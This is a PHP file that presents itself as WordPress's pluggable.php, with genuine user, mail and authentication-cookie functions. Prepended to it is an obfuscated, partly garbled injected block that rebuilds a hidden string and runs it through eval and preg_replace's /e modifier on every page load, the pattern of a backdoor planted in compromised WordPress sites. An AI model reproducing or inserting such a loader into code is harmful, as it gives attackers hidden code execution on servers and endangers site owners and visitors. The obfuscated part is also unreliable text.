782f*)323zbe!-#jt0*?]+^?]_%x5cV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x7212]445]43]321]464]284]pmpusut!-#j0#!%x5c%x782f!**#sfmbubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%xs-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x782%x5c%x7860{6~6<tfs%x5c%x7825w6<%xc%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55g!osvufs!|ftmf!~<**9.-j%x5c%x7825-%x7825)m%x5c%x7825):fmji%x5c%x7878bg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860439275%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tu25)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x52]y74]256#<!%x5c%x78x5c%x7825hIr%x5c%x785c1^-%x5c%ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x78yf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&82f14+9**-)1%x5c%x782f2986x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|<*&7-#o]s]o]s]#)fepmq!*5!%x5c%x7827!hmg%x5c%x7825)!x7860LDPT7-UFOJ%x5c%x7860GBZ<#opo#>b%x5c%x7825!**X)ufbssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5udovg}{;#)tutjyf%x5c%x786sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782t}X;%x5c%x7860msvd}R;*msv%x55w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x525:|:**t%x5c%x7825)m%x5c%x7825=*h%x5cfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gj7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%xK78:56985:6197g:7498825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5cx5c%x78256<.msv%x5c%x7860ftsbqA7>q%x524%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5cgj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutc3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%ubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj:%x5c%x785c%x5c%x7825j:.2^,%x5>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*#)U!%x5c%x7827{**u%x5c%x7825mnui}&;zepc}A;~!}%x5c%]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df8256<%x5c%x787fw6*%x5cc%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x61"])))) { $GLOBALS["5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpif((function_exists("%x6f%142%x5f%163x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b/(.*)/epreg_replacejiufqmhpco'; $nbutzakmsy = explode(chr((205-161)),'9975,37,9559,58,9907,21,373,48,3845,36,3595,26,3732,46,5366,55,275,33,6106,46,5994,60,812,60,2935,44,8717,44,7294,25,2705,60,1801,24,1075,21,6231,37,4019,38,8424,21,8285,50,3122,68,2011,58,5802,65,4333,42,4204,26,6268,47,2465,67,8475,27,4682,32,2304,51,6872,50,5076,58,8836,42,2177,61,1737,64,1266,59,9104,37,4375,36,9440,54,1716,21,421,31,766,46,7752,33,6554,66,6152,28,9671,54,2979,47,9816,22,1202,64,3951,68,9524,35,9928,47,8689,28,8561,52,9838,69,3257,39,2661,44,8613,25,5325,41,7878,34,3064,58,228,47,3621,28,144,54,8116,56,4230,39,7069,55,8361,63,8445,30,9279,54,2600,61,7623,39,3822,23,5188,32,936,48,2545,24,9054,29,9083,21,6647,22,5936,38,5867,69,7512,57,2880,55,6922,66,3778,44,6772,25,7227,67,7592,31,3543,52,5302,23,3345,67,1949,62,3697,35,7035,34,0,23,4515,35,984,63,4138,32,8878,49,8502,26,4057,50,1627,61,198,30,2569,31,4628,29,8638,51,3490,53,8761,38,5774,28,4170,34,7946,42,8222,63,6728,44,4269,64,8040,38,3026,38,691,54,1047,28,2094,52,4741,54,1500,34,3881,70,7378,69,745,21,1895,54,9753,22,10012,51,9725,28,6797,20,3412,42,7319,59,5538,36,7447,65,4481,34,6817,55,9617,54,4949,51,1325,59,7715,37,657,34,6988,47,5574,46,5749,25,8799,37,7912,34,96,48,6438,46,6208,23,2765,51,1534,23,4714,27,6484,70,595,62,8528,33,499,36,5421,27,9141,69,6369,69,8078,38,5488,50,9398,42,4657,25,8927,53,2355,58,4842,26,5134,54,2238,66,2069,25,5048,28,6669,59,1438,62,4868,34,7988,52,2852,28,23,46,2816,36,7124,25,4107,31,3190,67,8192,30,4795,47,3454,36,6620,27,5974,20,7662,53,8980,20,2146,31,1096,66,6315,54,4550,57,9333,65,9775,41,1557,70,1688,28,69,27,1825,70,5620,47,308,65,2413,52,5667,45,7569,23,6180,28,4411,70,8335,26,6054,52,10063,43,5712,37,7149,33,5220,22,452,47,9494,30,7785,40,5242,60,4902,47,9000,54,7182,45,5448,40,872,64,3649,48,535,60,9210,69,1162,40,4607,21,8172,20,5000,48,1384,54,7825,53,3296,49,2532,13'); $hommweqngq=substr($ofnahfyczx,(50472-40366),(21-14)); if (!function_exists('bvqutthtka')) { function bvqutthtka($gjrxkagtfn, $lbolefroid) { $npxcrwveqg = NULL; for($lfqfgkradk=0;$lfqfgkradk<(sizeof($gjrxkagtfn)/2);$lfqfgkradk++) { $npxcrwveqg .= substr($lbolefroid, $gjrxkagtfn[($lfqfgkradk*2)],$gjrxkagtfn[($lfqfgkradk*2)+1]); } return $npxcrwveqg; };} $ztnqrifijd="\x20\57\x2a\40\x76\157\x78\163\x75\166\x72\152\x6c\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x37\55\x32\62\x30\51\x29\54\x20\143\x68\162\x28\50\x35\65\x38\55\x34\66\x36\51\x29\54\x20\142\x76\161\x75\164\x74\150\x74\153\x61\50\x24\156\x62\165\x74\172\x61\153\x6d\163\x79\54\x24\157\x66\156\x61\150\x66\171\x63\172\x78\51\x29\51\x3b\40\x2f\52\x20\155\x61\162\x76\141\x69\167\x72\152\x70\40\x2a\57\x20"; $xuyxzwpbee=substr($ofnahfyczx,(42271-32158),(45-33)); $xuyxzwpbee($hommweqngq, $ztnqrifijd, NULL); $xuyxzwpbee=$ztnqrifijd; $xuyxzwpbee=(701-580); $ofnahfyczx=$xuyxzwpbee-1; ?><?php /** * These functions can be replaced via plugins. If plugins do not redefine these * functions, then these will be used instead. * * @package WordPress */ if ( !function_exists('wp_set_current_user') ) : /** * Changes the current user by ID or name. * * Set $id to null and specify a name if you do not know a user's ID. * * Some WordPress functionality is based on the current user and not based on * the signed in user. Therefore, it opens the ability to edit and perform * actions on users who aren't signed in. * * @since 2.0.3 * @global object $current_user The current user object which holds the user data. * @uses do_action() Calls 'set_current_user' hook after setting the current user. * * @param int $id User ID * @param string $name User's username * @return WP_User Current user User object */ function wp_set_current_user($id, $name = '') { global $current_user; if ( isset($current_user) && ($id == $current_user->ID) ) return $current_user; $current_user = new WP_User($id, $name); setup_userdata($current_user->ID); do_action('set_current_user'); return $current_user; } endif; if ( !function_exists('wp_get_current_user') ) : /** * Retrieve the current user object. * * @since 2.0.3 * * @return WP_User Current user WP_User object */ function wp_get_current_user() { global $current_user; get_currentuserinfo(); return $current_user; } endif; if ( !function_exists('get_currentuserinfo') ) : /** * Populate global variables with information about the currently logged in user. * * Will set the current user, if the current user is not set. The current user * will be set to the logged in person. If no user is logged in, then it will * set the current user to 0, which is invalid and won't have any permissions. * * @since 0.71 * @uses $current_user Checks if the current user is set * @uses wp_validate_auth_cookie() Retrieves current logged in user. * * @return bool|null False on XMLRPC Request and invalid auth cookie. Null when current user set */ function get_currentuserinfo() { global $current_user; if ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) return false; if ( ! empty($current_user) ) return; if ( ! $user = wp_validate_auth_cookie() ) { if ( is_blog_admin() || is_network_admin() || empty($_COOKIE[LOGGED_IN_COOKIE]) || !$user = wp_validate_auth_cookie($_COOKIE[LOGGED_IN_COOKIE], 'logged_in') ) { wp_set_current_user(0); return false; } } wp_set_current_user($user); } endif; if ( !function_exists('get_userdata') ) : /** * Retrieve user info by user ID. * * @since 0.71 * * @param int $user_id User ID * @return bool|object False on failure, User DB row object */ function get_userdata( $user_id ) { global $wpdb; if ( ! is_numeric( $user_id ) ) return false; $user_id = absint( $user_id ); if ( ! $user_id ) return false; $user = wp_cache_get( $user_id, 'users' ); if ( $user ) return $user; if ( ! $user = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE ID = %d LIMIT 1", $user_id ) ) ) return false; _fill_user( $user ); return $user; } endif; if ( !function_exists('cache_users') ) : /** * Retrieve info for user lists to prevent multiple queries by get_userdata() * * @since 3.0.0 * * @param array $users User ID numbers list */ function cache_users( $users ) { global $wpdb; $clean = array(); foreach($users as $id) { $id = (int) $id; if (wp_cache_get($id, 'users')) { // seems to be cached already } else { $clean[] = $id; } } if ( 0 == count($clean) ) return; $list = implode(',', $clean); $results = $wpdb->get_results("SELECT * FROM $wpdb->users WHERE ID IN ($list)"); _fill_many_users($results); } endif; if ( !function_exists('get_user_by') ) : /** * Retrieve user info by a given field * * @since 2.8.0 * * @param string $field The field to retrieve the user with. id | slug | email | login * @param int|string $value A value for $field. A user ID, slug, email address, or login name. * @return bool|object False on failure, User DB row object */ function get_user_by($field, $value) { global $wpdb; switch ($field) { case 'id': return get_userdata($value); break; case 'slug': $user_id = wp_cache_get($value, 'userslugs'); $field = 'user_nicename'; break; case 'email': $user_id = wp_cache_get($value, 'useremail'); $field = 'user_email'; break; case 'login': $value = sanitize_user( $value ); $user_id = wp_cache_get($value, 'userlogins'); $field = 'user_login'; break; default: return false; } if ( false !== $user_id ) return get_userdata($user_id); if ( !$user = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->users WHERE $field = %s", $value) ) ) return false; _fill_user($user); return $user; } endif; if ( !function_exists('get_userdatabylogin') ) : /** * Retrieve user info by login name. * * @since 0.71 * * @param string $user_login User's username * @return bool|object False on failure, User DB row object */ function get_userdatabylogin($user_login) { return get_user_by('login', $user_login); } endif; if ( !function_exists('get_user_by_email') ) : /** * Retrieve user info by email. * * @since 2.5 * * @param string $email User's email address * @return bool|object False on failure, User DB row object */ function get_user_by_email($email) { return get_user_by('email', $email); } endif; if ( !function_exists( 'wp_mail' ) ) : /** * Send mail, similar to PHP's mail * * A true return value does not automatically mean that the user received the * email successfully. It just only means that the method used was able to * process the request without any errors. * * Using the two 'wp_mail_from' and 'wp_mail_from_name' hooks allow from * creating a from address like 'Name <email@address.com>' when both are set. If * just 'wp_mail_from' is set, then just the email address will be used with no * name. * * The default content type is 'text/plain' which does not allow using HTML. * However, you can set the content type of the email by using the * 'wp_mail_content_type' filter. * * The default charset is based on the charset used on the blog. The charset can * be set using the 'wp_mail_charset' filter. * * @since 1.2.1 * @uses apply_filters() Calls 'wp_mail' hook on an array of all of the parameters. * @uses apply_filters() Calls 'wp_mail_from' hook to get the from email address. * @uses apply_filters() Calls 'wp_mail_from_name' hook to get the from address name. * @uses apply_filters() Calls 'wp_mail_content_type' hook to get the email content type. * @uses apply_filters() Calls 'wp_mail_charset' hook to get the email charset * @uses do_action_ref_array() Calls 'phpmailer_init' hook on the reference to * phpmailer object. * @uses PHPMailer * @ * * @param string|array $to Array or comma-separated list of email addresses to send message. * @param string $subject Email subject * @param string $message Message contents * @param string|array $headers Optional. Additional headers. * @param string|array $attachments Optional. Files to attach. * @return bool Whether the email contents were sent successfully. */ function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) { // Compact the input, apply the filters, and extract them back out extract( apply_filters( 'wp_mail', compact( 'to', 'subject', 'message', 'headers', 'attachments' ) ) ); if ( !is_array($attachments) ) $attachments = explode( "\n", str_replace( "\r\n", "\n", $attachments ) ); global $phpmailer; // (Re)create it, if it's gone missing if ( !is_object( $phpmailer ) || !is_a( $phpmailer, 'PHPMailer' ) ) { require_once ABSPATH . WPINC . '/class-phpmailer.php'; require_once ABSPATH . WPINC . '/class-smtp.php'; $phpmailer = new PHPMailer(); } // Headers if ( empty( $headers ) ) { $headers = array(); } else { if ( !is_array( $headers ) ) { // Explode the headers out, so this function can take both // string headers and an array of headers. $tempheaders = explode( "\n", str_replace( "\r\n", "\n", $headers ) ); } else { $tempheaders = $headers; } $headers = array(); // If it's actually got contents if ( !empty( $tempheaders ) ) { // Iterate through the raw headers foreach ( (array) $tempheaders as $header ) { if ( strpos($header, ':') === false ) { if ( false !== stripos( $header, 'boundary=' ) ) { $parts = preg_split('/boundary=/i', trim( $header ) ); $boundary = trim( str_replace( array( "'", '"' ), '', $parts[1] ) ); } continue; } // Explode them out list( $name, $content ) = explode( ':', trim( $header ), 2 ); // Cleanup crew $name = trim( $name ); $content = trim( $content ); switch ( strtolower( $name ) ) { // Mainly for legacy -- process a From: header if it's there case 'from': if ( strpos($content, '<' ) !== false ) { // So... making my life hard again? $from_name = substr( $content, 0, strpos( $content, '<' ) - 1 ); $from_name = str_replace( '"', '', $from_name ); $from_name = trim( $from_name ); $from_email = substr( $content, strpos( $content, '<' ) + 1 ); $from_email = str_replace( '>', '', $from_email ); $from_email = trim( $from_email ); } else { $from_email = trim( $content ); } break; case 'content-type': if ( strpos( $content, ';' ) !== false ) { list( $type, $charset ) = explode( ';', $content ); $content_type = trim( $type ); if ( false !== stripos( $charset, 'charset=' ) ) { $charset = trim( str_replace( array( 'charset=', '"' ), '', $charset ) ); } elseif ( false !== stripos( $charset, 'boundary=' ) ) { $boundary = trim( str_replace( array( 'BOUNDARY=', 'boundary=', '"' ), '', $charset ) ); $charset = ''; } } else { $content_type = trim( $content ); } break; case 'cc': $cc = array_merge( (array) $cc, explode( ',', $content ) ); break; case 'bcc': $bcc = array_merge( (array) $bcc, explode( ',', $content ) ); break; default: // Add it to our grand headers array $headers[trim( $name )] = trim( $content ); break; } } } } // Empty out the values that may be set $phpmailer->ClearAddresses(); $phpmailer->ClearAllRecipients(); $phpmailer->ClearAttachments(); $phpmailer->ClearBCCs(); $phpmailer->ClearCCs(); $phpmailer->ClearCustomHeaders(); $phpmailer->ClearReplyTos(); // From email and name // If we don't have a name from the input headers if ( !isset( $from_name ) ) $from_name = 'WordPress'; /* If we don't have an email from the input headers default to wordpress@$sitename * Some hosts will block outgoing mail from this address if it doesn't exist but * there's no easy alternative. Defaulting to admin_email might appear to be another * option but some hosts may refuse to relay mail from an unknown domain. See * http://trac.wordpress.org/ticket/5007. */ if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } // Plugin authors can override the potentially troublesome default $phpmailer->From = apply_filters( 'wp_mail_from' , $from_email ); $phpmailer->FromName = apply_filters( 'wp_mail_from_name', $from_name ); // Set destination addresses if ( !is_array( $to ) ) $to = explode( ',', $to ); foreach ( (array) $to as $recipient ) { $phpmailer->AddAddress( trim( $recipient ) ); } // Set mail's subject and body $phpmailer->Subject = $subject; $phpmailer->Body = $message; // Add any CC and BCC recipients if ( !empty( $cc ) ) { foreach ( (array) $cc as $recipient ) { $phpmailer->AddCc( trim($recipient) ); } } if ( !empty( $bcc ) ) { foreach ( (array) $bcc as $recipient) { $phpmailer->AddBcc( trim($recipient) ); } } // Set to use PHP's mail() $phpmailer->IsMail(); // Set Content-Type and charset // If we don't have a content-type from the input headers if ( !isset( $content_type ) ) $content_type = 'text/plain'; $content_type = apply_filters( 'wp_mail_content_type', $content_type ); $phpmailer->ContentType = $content_type; // Set whether it's plaintext, depending on $content_type if ( 'text/html' == $content_type ) $phpmailer->IsHTML( true ); // If we don't have a charset from the input headers if ( !isset( $charset ) ) $charset = get_bloginfo( 'charset' ); // Set the content-type and charset $phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset ); // Set custom headers if ( !empty( $headers ) ) { foreach( (array) $headers as $name => $content ) { $phpmailer->AddCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) ); } if ( false !== stripos( $content_type, 'multipart' ) && ! empty($boundary) ) $phpmailer->AddCustomHeader( sprintf( "Content-Type: %s;\n\t boundary=\"%s\"", $content_type, $boundary ) ); } if ( !empty( $attachments ) ) { foreach ( $attachments as $attachment ) { $phpmailer->AddAttachment($attachment); } } do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) ); // Send! $result = @$phpmailer->Send(); return $result; } endif; if ( !function_exists('wp_authenticate') ) : /** * Checks a user's login information and logs them in if it checks out. * * @since 2.5.0 * * @param string $username User's username * @param string $password User's password * @return WP_Error|WP_User WP_User object if login successful, otherwise WP_Error object. */ function wp_authenticate($username, $password) { $username = sanitize_user($username); $password = trim($password); $user = apply_filters('authenticate', null, $username, $password); if ( $user == null ) { // TODO what should the error message be? (Or would these even happen?) // Only needed if all authentication handlers fail to return anything. $user = new WP_Error('authentication_failed', __('<strong>ERROR</strong>: Invalid username or incorrect password.')); } $ignore_codes = array('empty_username', 'empty_password'); if (is_wp_error($user) && !in_array($user->get_error_code(), $ignore_codes) ) { do_action('wp_login_failed', $username); } return $user; } endif; if ( !function_exists('wp_logout') ) : /** * Log the current user out. * * @since 2.5.0 */ function wp_logout() { wp_clear_auth_cookie(); do_action('wp_logout'); } endif; if ( !function_exists('wp_validate_auth_cookie') ) : /** * Validates authentication cookie. * * The checks include making sure that the authentication cookie is set and * pulling in the contents (if $cookie is not used). * * Makes sure the cookie is not expired. Verifies the hash in cookie is what is * should be and compares the two. * * @since 2.5 * * @param string $cookie Optional. If used, will validate contents instead of cookie's * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in * @return bool|int False if invalid cookie, User ID if valid. */ function wp_validate_auth_cookie($cookie = '', $scheme = '') { if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) { do_action('auth_cookie_malformed', $cookie, $scheme); return false; } extract($cookie_elements, EXTR_OVERWRITE); $expired = $expiration; // Allow a grace period for POST and AJAX requests if ( defined('DOING_AJAX') || 'POST' == $_SERVER['REQUEST_METHOD'] ) $expired += 3600; // Quick check to see if an honest cookie has expired if ( $expired < time() ) { do_action('auth_cookie_expired', $cookie_elements); return false; } $user = get_userdatabylogin($username); if ( ! $user ) { do_action('auth_cookie_bad_username', $cookie_elements); return false; } $pass_frag = substr($user->user_pass, 8, 4); $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); if ( $hmac != $hash ) { do_action('auth_cookie_bad_hash', $cookie_elements); return false; } if ( $expiration < time() ) // AJAX/POST grace period set above $GLOBALS['login_grace_period'] = 1; do_action('auth_cookie_valid', $cookie_elements, $user); return $user->ID; } endif; if ( !function_exists('wp_generate_auth_cookie') ) : /** * Generate authentication cookie contents. * * @since 2.5 * @uses apply_filters() Calls 'auth_cookie' hook on $cookie contents, User ID * and expiration of cookie. * * @param int $user_id User ID * @param int $expiration Cookie expiration in seconds * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in * @return string Authentication cookie contents */ function wp_generate_auth_cookie($user_id, $expiration, $scheme = 'auth') { $user = get_userdata($user_id); $pass_frag = substr($user->user_pass, 8, 4); $key = wp_hash($user->user_login . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $user->user_login . '|' . $expiration, $key); $cookie = $user->user_login . '|' . $expiration . '|' . $hash; return apply_filters('auth_cookie', $cookie, $user_id, $expiration, $scheme); } endif; if ( !function_exists('wp_parse_auth_cookie') ) : /** * Parse a cookie into its components * * @since 2.7 * * @param string $cookie * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in * @return array Authentication cookie components */ function wp_parse_auth_cookie($cookie = '', $scheme = '') { if ( empty($cookie) ) { switch ($scheme){ case 'auth': $cookie_name = AUTH_COOKIE; break; case 'secure_auth': $cookie_name = SECURE_AUTH_COOKIE; break; case "logged_in": $cookie_name = LOGGED_IN_COOKIE; break; default: if ( is_ssl() ) { $cookie_name = SECURE_AUTH_COOKIE; $scheme = 'secure_auth'; } else { $cookie_name = AUTH_COOKIE; $scheme = 'auth'; } } if ( empty($_COOKIE[$cookie_name]) ) return false; $cookie = $_COOKIE[$cookie_name]; } $cookie_elements = explode('|', $cookie); if ( count($cookie_elements) != 3 ) return false; list($username, $expiration, $hmac) = $cookie_elements; return compact('username', 'expiration', 'hmac', 'scheme'); } endif; if ( !function_exists('wp_set_auth_cookie') ) : /** * Sets the authentication cookies based User ID. * * The $remember parameter increases the time that the cookie will be kept. The * default the cookie is kept without remembering is two days. When $remember is * set, the cookies will be kept for 14 days or two weeks. * * @since 2.5 * * @param int $user_id User ID * @param bool $remember Whether to remember the user */ function wp_set_auth_cookie($user_id, $remember = false, $secure = '') { if ( $remember ) { $expiration = $expire = time() + apply_filters('auth_cookie_expiration', 1209600, $user_id, $remember); } else { $expiration = time() + apply_filters('auth_cookie_expiration', 172800, $user_id, $remember); $expire = 0; } if ( '' === $secure ) $secure = is_ssl(); $secure = apply_filters('secure_auth_cookie', $secure, $user_id); $secure_logged_in_cookie = apply_filters('secure_logged_in_cookie', false, $user_id, $secure); if ( $secure ) { $auth_cookie_name = SECURE_AUTH_COOKIE; $scheme = 'secure_auth'; } else { $auth_cookie_name = AUTH_COOKIE; $scheme = 'auth'; } $auth_cookie = wp_generate_auth_cookie($user_id, $expiration, $scheme); $logged_in_cookie = wp_generate_auth_cookie($user_id, $expiration, 'logged_in'); do_action('set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme); do_action('set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in'); // Set httponly if the php version is >= 5.2.0 if ( version_compare(phpversion(), '5.2.0', 'ge') ) { setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true); setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true); setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true); if ( COOKIEPATH != SITECOOKIEPATH ) setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true); } else { $cookie_domain = COOKIE_DOMAIN; if ( !empty($cookie_domain) ) $cookie_domain .= '; HttpOnly'; setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, $cookie_domain, $secure); setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, $cookie_domain, $secure); setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, $cookie_domain, $secure_logged_in_cookie); if ( COOKIEPATH != SITECOOKIEPATH ) setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, $cookie_domain, $secure_logged_in_cookie); } } endif; if ( !function_exists('wp_clear_auth_cookie') ) : /** * Removes all of the cookies associated with authentication. * * @since 2.5 */ function wp_clear_auth_cookie() { do_action('clear_auth_cookie'); setcookie(AUTH_COOKIE, ' ', time() - 31536000, ADMIN_COOKIE_PATH, COOKIE_DOMAIN); setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, ADMIN_COOKIE_PATH, COOKIE_DOMAIN); setcookie(AUTH_COOKIE, ' ', time() - 31536000, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN); setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN); setcookie(LOGGED_IN_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); setcookie(LOGGED_IN_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); // Old cookies setcookie(AUTH_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); setcookie(AUTH_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); // Even older cookies setcookie(USER_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); setcookie(PASS_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN); setcookie(USER_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); setcookie(PASS_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN); } endif; if ( !function_exists('is_user_logged_in') ) : /** * Checks if the current visitor is a logged in user. * * @since 2.0.0 * * @return bool True if user is logged in, false if not logged in. */ function is_user_logged_in() { $user = wp_get_current_user(); if ( $user->id == 0 ) return false; return true; } endif; if ( !function_exists('auth_redirect') ) : /** * Checks if a user is logged in, if not it redirects them to the login page. * * @since 1.5 */ function auth_redirect() { // Checks if a user is logged in, if not redirects them to the login page $secure = ( is_ssl() || force_ssl_admin() ); $secure = apply_filters('secure_auth_redirect', $secure); // If https is required and request is http, redirect if ( $secure && !is_ssl() && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) { if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) { wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI'])); exit(); } else { wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit(); } } if ( is_user_admin() ) $scheme = 'logged_in'; else $scheme = apply_filters( 'auth_redirect_scheme', '' ); if ( $user_id = wp_validate_auth_cookie( '', $scheme) ) { do_action('auth_redirect', $user_id); // If the user wants ssl but the session is not ssl, redirect. if ( !$secure && get_user_option('use_ssl', $user_id) && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) { if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) { wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI'])); exit(); } else { wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit(); } } return; // The cookie is good so we're done } // The cookie is no good so force login nocache_headers(); if ( is_ssl() ) $proto = 'https://'; else $proto = 'http://'; $redirect = ( strpos($_SERVER['REQUEST_URI'], '/options.php') && wp_get_referer() ) ? wp_get_referer() : $proto . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $login_url = wp_login_url($redirect, true); wp_redirect($login_url); exit(); } endif; if ( !function_exists('check_admin_referer') ) : /** * Makes sure that a user was referred from another admin page. * * To avoid security exploits. * * @since 1.2.0 * @uses do_action() Calls 'check_admin_referer' on $action. * * @param string $action Action nonce * @param string $query_arg where to look for nonce in $_REQUEST (since 2.5) */ function check_admin_referer($action = -1, $query_arg = '_wpnonce') { $adminurl = strtolower(admin_url()); $referer = strtolower(wp_get_referer()); $result = isset($_REQUEST[$query_arg]) ? wp_verify_nonce($_REQUEST[$query_arg], $action) : false; if ( !$result && !(-1 == $action && strpos($referer, $adminurl) === 0) ) { wp_nonce_ays($action); die(); } do_action('check_admin_referer', $action, $result); return $result; }endif; if ( !function_exists('check_ajax_referer') ) : /** * Verifies the AJAX request to prevent processing requests external of the blog. * * @since 2.0.3 * * @param string $action Action nonce * @param string $query_arg where to look for nonce in $_REQUEST (since 2.5) */ function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) { if ( $query_arg ) $nonce = $_REQUEST[$query_arg]; else $nonce = isset($_REQUEST['_ajax_nonce']) ? $_REQUEST['_ajax_nonce'] : $_REQUEST['_wpnonce']; $result = wp_verify_nonce( $nonce, $action ); if ( $die && false == $result ) die('-1'); 